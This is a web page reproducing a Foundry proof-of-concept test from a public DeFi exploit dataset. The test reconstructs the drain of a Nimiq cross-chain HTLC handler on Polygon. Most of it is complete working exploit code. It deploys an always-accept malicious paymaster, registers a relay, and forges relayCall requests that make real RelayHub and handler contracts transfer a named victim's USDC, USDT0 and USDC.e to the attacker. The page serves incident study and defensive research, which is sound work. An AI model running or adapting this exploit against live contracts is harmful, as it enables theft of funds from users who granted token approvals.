Public reproduction file
src/test/2026-09/Nimiq_exp.sol
Public reproduction file for dataset entry Nimiq.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.17;4import "forge-std/Test.sol";6// Nimiq cross-chain HTLC handler drain - OpenGSN paymaster-selection trust bug. Polygon.7// The swap-liquidity wallet held unlimited ERC20 approvals to two ERC20PermitHTLCHandler8// instances; anyone able to make the real RelayHub call the handler's forwarder entrypoint9// could open an HTLC in the victim's name and redeem it. Loss ~$50,463 (USDC + USDT0 + USDC.e).10//11// Setup tx : 0xb067efae73637f3564f58af7f6027afc497e81e47624b0048636085c678858c0 (block 93930784)12// attacker EIP-7702 EOA stakes a relay manager, authorizes the hub, registers a worker13// Exploit tx : 0xb2ca76dfbfe571742b4b66465b777ab1e06988a8632be1631bef9654cc64d169 (block 93930854)14// forged open() relayCalls + CREATE2 recipient deploy + redeem(secret)15// Attacker : 0x2258491525C21f334c5a2dc22CE55e55023FC45D (EIP-7702 delegated: code 0xef0100...)16// Victim : 0x24Cb173Ae221AeA93369f34bdcF0Ddb35b436773 (unlimited approvals to both handlers)17//18// ── Actors (all read live off-chain from the real deployments) ──────────────────────────────────19// HTLC handler #1 (USDC) 0x0cFD862bE942846Cebad797d7c1BC6e47714959b20// HTLC handler #2 (USDT0/USDCe)0xF615bD7EA00C4Cc7F39Faad0895dB5f40891359f21// OpenGSN RelayHub v2.2.0 0x6C28AfC105e65782D9Ea6F2cA68df84C9e7d750d (getHubAddr() of both)22// OpenGSN StakeManager 0x15C7B7CE10f3A9AE63554bCE7C54d0a818E967C7 (RelayHub.stakeManager())23// USDC (native, 6dp) 0x3c499c542cEF5E3811e1192ce70d8cC03d5c335924// USDT0 (6dp) 0xc2132D05D31c914a87C6611C10748AEb04B58e8F25// USDC.e (6dp) 0x2791Bca1f2de4661ED88A30C99A7a9449Aa8417426//27// ── Root cause (confirmed against the verified deployed source, ERC20PermitHTLCHandler) ─────────28// Each handler is its own OpenGSN forwarder AND its own paymaster AND the recipient. The forwarder29// entrypoint it exposes to the hub is:30//31// function execute(ForwardRequest calldata request, bytes32 domainSeparator,32// bytes32 requestTypeHash, bytes calldata suffixData, bytes calldata signature)33// public payable onlyRelayHub returns (bool, bytes memory) {34// (request, domainSeparator, requestTypeHash, suffixData, signature); // <-- discards ALL of them35// bytes4 methodId = GsnUtils.getMethodSig(request.data);36// (...) = decodeRequestDataPrivate(methodId, request.from, request.data, 0);37// nonces[request.from] += 1;38// if (methodId == open.selector || openWithPermit.selector) openPrivate(request.from, ...);39// ...40// }41//42// execute() runs NO EIP-712 signature check, NO nonce check, NO business precondition (checkOpen43// is skipped entirely on this path) - it just decodes request.data and calls44// openPrivate(request.from) -> token.transferFrom(request.from, handler, amount). The ONLY place45// the signature/nonce/preconditions are verified is preRelayedCall(), which the hub invokes on46// whichever paymaster the RELAY names in relayData.paymaster. Because RelayHub lets any staked47// relay pick any (paymaster, forwarder) pair, the attacker points forwarder=handler and48// paymaster=their own always-accept paymaster, so the real verifyCallPrivate() never runs and49// execute() drains request.from = the victim.50//51// This is unprivileged and architectural: no owner/admin role gates execute(), openPrivate(),52// preRelayedCall() or the paymaster choice. owner() exists on the handler but guards only53// registerToken/setRelayHub/withdraw* - none of which are on the drain path.54//55// ── What this PoC reconstructs (genuine, no shortcuts) ──────────────────────────────────────────56// Everything below runs live against the real RelayHub, StakeManager and both real handlers on a57// fork taken one block BEFORE the setup tx, so the victim still holds full balances and unlimited58// approvals and no HTLC exists yet.59// 1. Deploy a malicious paymaster whose preRelayedCall accepts unconditionally (typed contract).60// 2. Register a relay the normal OpenGSN way: setRelayManagerOwner -> stakeForRelayManager (1 POL,61// the hub minimum) -> authorizeHubByManager -> addRelayWorkers. No vm.store, no cheat on the62// registration state.63// 3. For each token: build a forged GsnTypes.RelayRequest whose request.from = victim and64// request.data = abi.encodeCall(open, ...) with recipient = a precomputed CREATE2 address,65// and submit it through the REAL RelayHub.relayCall() from the worker EOA. The hub calls the66// malicious paymaster (accepts) then the handler's execute() (drains). Typed calls throughout67// - no raw calldata blob, no bytecode replay.68// 4. Deploy the precomputed recipient via CREATE2 and redeem() each HTLC with secret = 0x01,69// pulling every drained token out to the attacker.70// Final assert: the attacker receives exactly the victim's pre-drain balance of each token, summing71// to ~$50,463 (all three are 6-decimal dollar tokens), matching the reported loss.73// ---------------------------------------------------------------------------------------------74// OpenGSN v2 typed structs (identical layout to @opengsn/contracts GsnTypes / IForwarder, so the75// ABI encoding produced here is byte-for-byte what RelayHub.relayCall and IPaymaster expect).76// ---------------------------------------------------------------------------------------------77struct ForwardRequest {78 address from;79 address to;80 uint256 value;81 uint256 gas;82 uint256 nonce;83 bytes data;84 uint256 validUntil;85}87struct RelayData {88 uint256 gasPrice;89 uint256 pctRelayFee;90 uint256 baseRelayFee;91 address relayWorker;92 address paymaster;93 address forwarder;94 bytes paymasterData;95 uint256 clientId;96}98struct RelayRequest {99 ForwardRequest request;100 RelayData relayData;101}103struct GasAndDataLimits {104 uint256 acceptanceBudget;105 uint256 preRelayedCallGasLimit;106 uint256 postRelayedCallGasLimit;107 uint256 calldataSizeLimit;108}110interface IERC20 {111 function balanceOf(address) external view returns (uint256);112 function allowance(address, address) external view returns (uint256);113}115interface IHTLCHandler {116 function open(117 bytes32 id,118 address token,119 uint256 amount,120 address refundAddress,121 address recipientAddress,122 bytes32 hash,123 uint256 timeout,124 uint256 fee125 ) external;126 function redeem(bytes32 id, address target, bytes32 secret, uint256 fee) external;127 function getNonce(address from) external view returns (uint256);128 function getHubAddr() external view returns (address);129}131interface IRelayHub {132 function relayCall(133 uint256 maxAcceptanceBudget,134 RelayRequest calldata relayRequest,135 bytes calldata signature,136 bytes calldata approvalData,137 uint256 externalGasLimit138 ) external returns (bool paymasterAccepted, bytes memory returnValue);139 function addRelayWorkers(address[] calldata newRelayWorkers) external;140 function depositFor(address target) external payable;141 function balanceOf(address target) external view returns (uint256);142 function workerToManager(address worker) external view returns (address);143 function stakeManager() external view returns (address);144}146interface IStakeManager {147 function setRelayManagerOwner(address payable owner) external;148 function stakeForRelayManager(address relayManager, uint256 unstakeDelay) external payable;149 function authorizeHubByManager(address relayHub) external;150 function isRelayManagerStaked(address relayManager, address relayHub, uint256 minAmount, uint256 minUnstakeDelay)151 external152 view153 returns (bool);154}156// ---------------------------------------------------------------------------------------------157// The malicious paymaster. Its whole job is to accept every request the relay presents. Because it158// is named in relayData.paymaster, the hub calls THIS preRelayedCall instead of the handler's real159// one, so the EIP-712 / nonce / balance checks in the handler's verifyCallPrivate never execute.160// Struct-typed signatures are used so the selectors match IPaymaster exactly.161// ---------------------------------------------------------------------------------------------162contract EvilPaymaster {163 // Loose limits: high calldata cap so verifyGasAndDataLimits never rejects on size, and164 // acceptanceBudget >= preRelayedCallGasLimit as the hub requires.165 function getGasAndDataLimits() external pure returns (GasAndDataLimits memory) {166 return GasAndDataLimits({167 acceptanceBudget: 200_000,168 preRelayedCallGasLimit: 100_000,169 postRelayedCallGasLimit: 100_000,170 calldataSizeLimit: type(uint256).max171 });172 }174 // Always accept. revertOnRecipientRevert = false so a handler revert cannot bubble as a rejection.175 function preRelayedCall(176 RelayRequest calldata relayRequest,177 bytes calldata signature,178 bytes calldata approvalData,179 uint256 maxPossibleGas180 ) external pure returns (bytes memory context, bool revertOnRecipientRevert) {181 (relayRequest, signature, approvalData, maxPossibleGas);182 return ("", false);183 }185 function postRelayedCall(186 bytes calldata context,187 bool success,188 uint256 gasUseWithoutPost,189 RelayData calldata relayData190 ) external pure {191 (context, success, gasUseWithoutPost, relayData);192 }194 receive() external payable {}195}197// ---------------------------------------------------------------------------------------------198// The CREATE2 recipient. Named as the HTLC recipient at open() time (its address is precomputed199// before it exists), deployed in the exploit phase, then it calls redeem() as the recipient so the200// handler transfers the drained tokens to `target` (the attacker).201// ---------------------------------------------------------------------------------------------202contract HTLCRecipient {203 function redeemTo(address handler, bytes32 id, address target, bytes32 secret) external {204 IHTLCHandler(handler).redeem(id, target, secret, 0);205 }206}208contract NimiqExploit is Test {209 IRelayHub constant RELAY_HUB = IRelayHub(0x6C28AfC105e65782D9Ea6F2cA68df84C9e7d750d);210 IStakeManager constant STAKE_MANAGER = IStakeManager(0x15C7B7CE10f3A9AE63554bCE7C54d0a818E967C7);212 address constant HANDLER_USDC = 0x0cFD862bE942846Cebad797d7c1BC6e47714959b; // handler #1213 address constant HANDLER_USDT = 0xF615bD7EA00C4Cc7F39Faad0895dB5f40891359f; // handler #2215 address constant VICTIM = 0x24Cb173Ae221AeA93369f34bdcF0Ddb35b436773;217 address constant USDC = 0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359;218 address constant USDT0 = 0xc2132D05D31c914a87C6611C10748AEb04B58e8F;219 address constant USDCe = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;221 // Hub minimums, read from RelayHub.getConfiguration(): minimumStake 1e18, minimumUnstakeDelay 1000.222 uint256 constant STAKE = 1 ether;223 uint256 constant UNSTAKE_DELAY = 1000;225 // HTLC hashlock: sha256(secret). secret is the 32-byte value 0x01, redeemed below.226 bytes32 constant SECRET = bytes32(uint256(1));228 // Attacker-controlled relay roles (fresh EOAs; the real attacker used their own 7702 EOA).229 address relayManager = makeAddr("relayManager");230 address relayWorker = makeAddr("relayWorker");232 EvilPaymaster paymaster;233 HTLCRecipient recipient;234 address predictedRecipient;235 bytes32 constant SALT = keccak256("nimiq.htlc.recipient");237 uint256 preUSDC;238 uint256 preUSDT0;239 uint256 preUSDCe;241 function setUp() public {242 // One block before the setup tx: victim still holds full balances + unlimited approvals.243 vm.createSelectFork("polygon", 93_930_783);244 }246 function testExploit() public {247 preUSDC = IERC20(USDC).balanceOf(VICTIM);248 preUSDT0 = IERC20(USDT0).balanceOf(VICTIM);249 preUSDCe = IERC20(USDCe).balanceOf(VICTIM);251 emit log_named_decimal_uint("victim USDC before", preUSDC, 6);252 emit log_named_decimal_uint("victim USDT0 before", preUSDT0, 6);253 emit log_named_decimal_uint("victim USDC.e before", preUSDCe, 6);255 // Sanity: the two contracts really are their own hub's forwarder, and approvals are unlimited.256 assertEq(IHTLCHandler(HANDLER_USDC).getHubAddr(), address(RELAY_HUB), "hub #1");257 assertEq(IHTLCHandler(HANDLER_USDT).getHubAddr(), address(RELAY_HUB), "hub #2");258 assertGt(IERC20(USDC).allowance(VICTIM, HANDLER_USDC), preUSDC, "no USDC approval");259 assertGt(IERC20(USDT0).allowance(VICTIM, HANDLER_USDT), preUSDT0, "no USDT0 approval");260 assertGt(IERC20(USDCe).allowance(VICTIM, HANDLER_USDT), preUSDCe, "no USDC.e approval");262 // ---- generic OpenGSN infra the attacker stands up (not victim-specific) ----263 paymaster = new EvilPaymaster();264 _registerRelay();265 // Fund the paymaster's hub deposit. Not strictly required at gasPrice 0, done for realism.266 vm.deal(address(this), 2 ether);267 RELAY_HUB.depositFor{value: 1 ether}(address(paymaster));269 // Precompute the recipient address so it can be named in each open() before it is deployed.270 predictedRecipient =271 vm.computeCreate2Address(SALT, keccak256(type(HTLCRecipient).creationCode), address(this));273 // ---- forged open() through the real hub: one HTLC per token, drained from the victim ----274 bytes32 idUSDC = _htlcId(HANDLER_USDC, USDC);275 bytes32 idUSDT0 = _htlcId(HANDLER_USDT, USDT0);276 bytes32 idUSDCe = _htlcId(HANDLER_USDT, USDCe);278 _forgeOpen(HANDLER_USDC, USDC, preUSDC, idUSDC, predictedRecipient);279 _forgeOpen(HANDLER_USDT, USDT0, preUSDT0, idUSDT0, predictedRecipient);280 _forgeOpen(HANDLER_USDT, USDCe, preUSDCe, idUSDCe, predictedRecipient);282 // Victim is now empty; the tokens sit inside the handlers as HTLCs owned by predictedRecipient.283 assertEq(IERC20(USDC).balanceOf(VICTIM), 0, "USDC not fully drained from victim");284 assertEq(IERC20(USDT0).balanceOf(VICTIM), 0, "USDT0 not fully drained from victim");285 assertEq(IERC20(USDCe).balanceOf(VICTIM), 0, "USDC.e not fully drained from victim");287 // ---- deploy the CREATE2 recipient and redeem with the secret ----288 recipient = new HTLCRecipient{salt: SALT}();289 assertEq(address(recipient), predictedRecipient, "CREATE2 address mismatch");291 recipient.redeemTo(HANDLER_USDC, idUSDC, address(this), SECRET);292 recipient.redeemTo(HANDLER_USDT, idUSDT0, address(this), SECRET);293 recipient.redeemTo(HANDLER_USDT, idUSDCe, address(this), SECRET);295 // ---- profit ----296 uint256 gotUSDC = IERC20(USDC).balanceOf(address(this));297 uint256 gotUSDT0 = IERC20(USDT0).balanceOf(address(this));298 uint256 gotUSDCe = IERC20(USDCe).balanceOf(address(this));300 emit log_named_decimal_uint("attacker USDC after", gotUSDC, 6);301 emit log_named_decimal_uint("attacker USDT0 after", gotUSDT0, 6);302 emit log_named_decimal_uint("attacker USDC.e after", gotUSDCe, 6);304 // Every token moved from the victim to the attacker, in full.305 assertEq(gotUSDC, preUSDC, "USDC profit mismatch");306 assertEq(gotUSDT0, preUSDT0, "USDT0 profit mismatch");307 assertEq(gotUSDCe, preUSDCe, "USDC.e profit mismatch");309 // All three are 6-decimal dollar-pegged tokens, so the raw sum is the USD loss.310 uint256 totalUsd6 = gotUSDC + gotUSDT0 + gotUSDCe;311 emit log_named_decimal_uint("total drained (USD)", totalUsd6, 6);312 // Reported loss ~$50,463. Assert within $5.313 assertApproxEqAbs(totalUsd6, 50_463e6, 5e6, "total loss far from reported ~$50.4K");314 }316 // Register the relay through the real StakeManager + RelayHub. Manager acts as its own owner.317 function _registerRelay() internal {318 vm.deal(relayManager, 2 ether);320 vm.prank(relayManager);321 STAKE_MANAGER.setRelayManagerOwner(payable(relayManager));323 vm.prank(relayManager);324 STAKE_MANAGER.stakeForRelayManager{value: STAKE}(relayManager, UNSTAKE_DELAY);326 vm.prank(relayManager);327 STAKE_MANAGER.authorizeHubByManager(address(RELAY_HUB));329 address[] memory workers = new address[](1);330 workers[0] = relayWorker;331 vm.prank(relayManager);332 RELAY_HUB.addRelayWorkers(workers);334 assertTrue(335 STAKE_MANAGER.isRelayManagerStaked(relayManager, address(RELAY_HUB), STAKE, UNSTAKE_DELAY),336 "relay manager not staked"337 );338 assertEq(RELAY_HUB.workerToManager(relayWorker), relayManager, "worker not registered");339 }341 // Build one forged open() and drive it through RelayHub.relayCall() as the worker EOA.342 function _forgeOpen(address handler, address token, uint256 amount, bytes32 id, address htlcRecipient)343 internal344 {345 // request.data is a plain typed encoding of open(...); the handler reads its params by346 // position via GsnUtils.getParam, so a canonical abi.encodeCall is exactly what it decodes.347 bytes memory openData = abi.encodeCall(348 IHTLCHandler.open,349 (350 id,351 token,352 amount, // full victim balance; execute() skips the balance/allowance preconditions353 address(this), // refund (unused - we redeem, never refund)354 htlcRecipient, // recipient = precomputed CREATE2 contract355 sha256(abi.encodePacked(SECRET)), // hashlock = sha256(0x01)356 block.timestamp + 1 days, // timeout (irrelevant to the redeem path)357 0 // fee358 )359 );361 RelayRequest memory rr = RelayRequest({362 request: ForwardRequest({363 from: VICTIM, // the forged sender - execute() transfers FROM here364 to: handler,365 value: 0,366 gas: 300_000,367 nonce: IHTLCHandler(handler).getNonce(VICTIM), // execute() ignores it, kept honest anyway368 data: openData,369 validUntil: 0370 }),371 relayData: RelayData({372 gasPrice: 0, // zero fee => zero charge => paymaster deposit never consumed373 pctRelayFee: 0,374 baseRelayFee: 0,375 relayWorker: relayWorker,376 paymaster: address(paymaster), // the always-accept paymaster - the crux377 forwarder: handler, // forwarder = the handler => hub calls handler.execute()378 paymasterData: "",379 clientId: 0380 })381 });383 // 65-byte throwaway signature: never checked by execute(), and <=65 to satisfy the hub's384 // transaction-packing validator.385 bytes memory signature = new bytes(65);387 // Gas accounting: externalGasLimit (3M) exceeds the hub's computed maxPossibleGas but stays388 // under block.gaslimit, and we forward slightly less real gas so the hub's389 // externalCallDataCost (externalGasLimit - initialGasLeft - overhead) stays small and390 // positive, mirroring a real relay transaction's intrinsic-gas gap.391 uint256 externalGasLimit = 3_000_000;393 // relayCall must be sent by an EOA (msg.sender == tx.origin): prank both to the worker.394 vm.prank(relayWorker, relayWorker);395 (bool accepted,) = RELAY_HUB.relayCall{gas: 2_970_000}(200_000, rr, signature, "", externalGasLimit);396 assertTrue(accepted, "paymaster rejected relayCall");398 // Confirm the HTLC now holds the victim's tokens inside the handler.399 assertEq(IERC20(token).balanceOf(handler) >= amount ? uint256(1) : uint256(0), 1, "handler did not receive tokens");400 }402 function _htlcId(address handler, address token) internal pure returns (bytes32) {403 return keccak256(abi.encodePacked("nimiq", handler, token));404 }406 receive() external payable {}407}Analysis
Dataset entry
Public Foundry test for “Nimiq” (2026-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2258491525c21f334c5a2dc22ce55e55023fc45d
- Victim
0x24cb173ae221aea93369f34bdcf0ddb35b436773
File record
- Name
- Nimiq
- Path
- src/test/2026-09/Nimiq_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d04af255df8b64203d4317851ca69ecd862f9f60
- Language
- Solidity
- Size
- 408 lines
- Date
- 2026-09-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/Nimiq_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d04af255df8b64203d4317851ca69ecd862f9f60, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.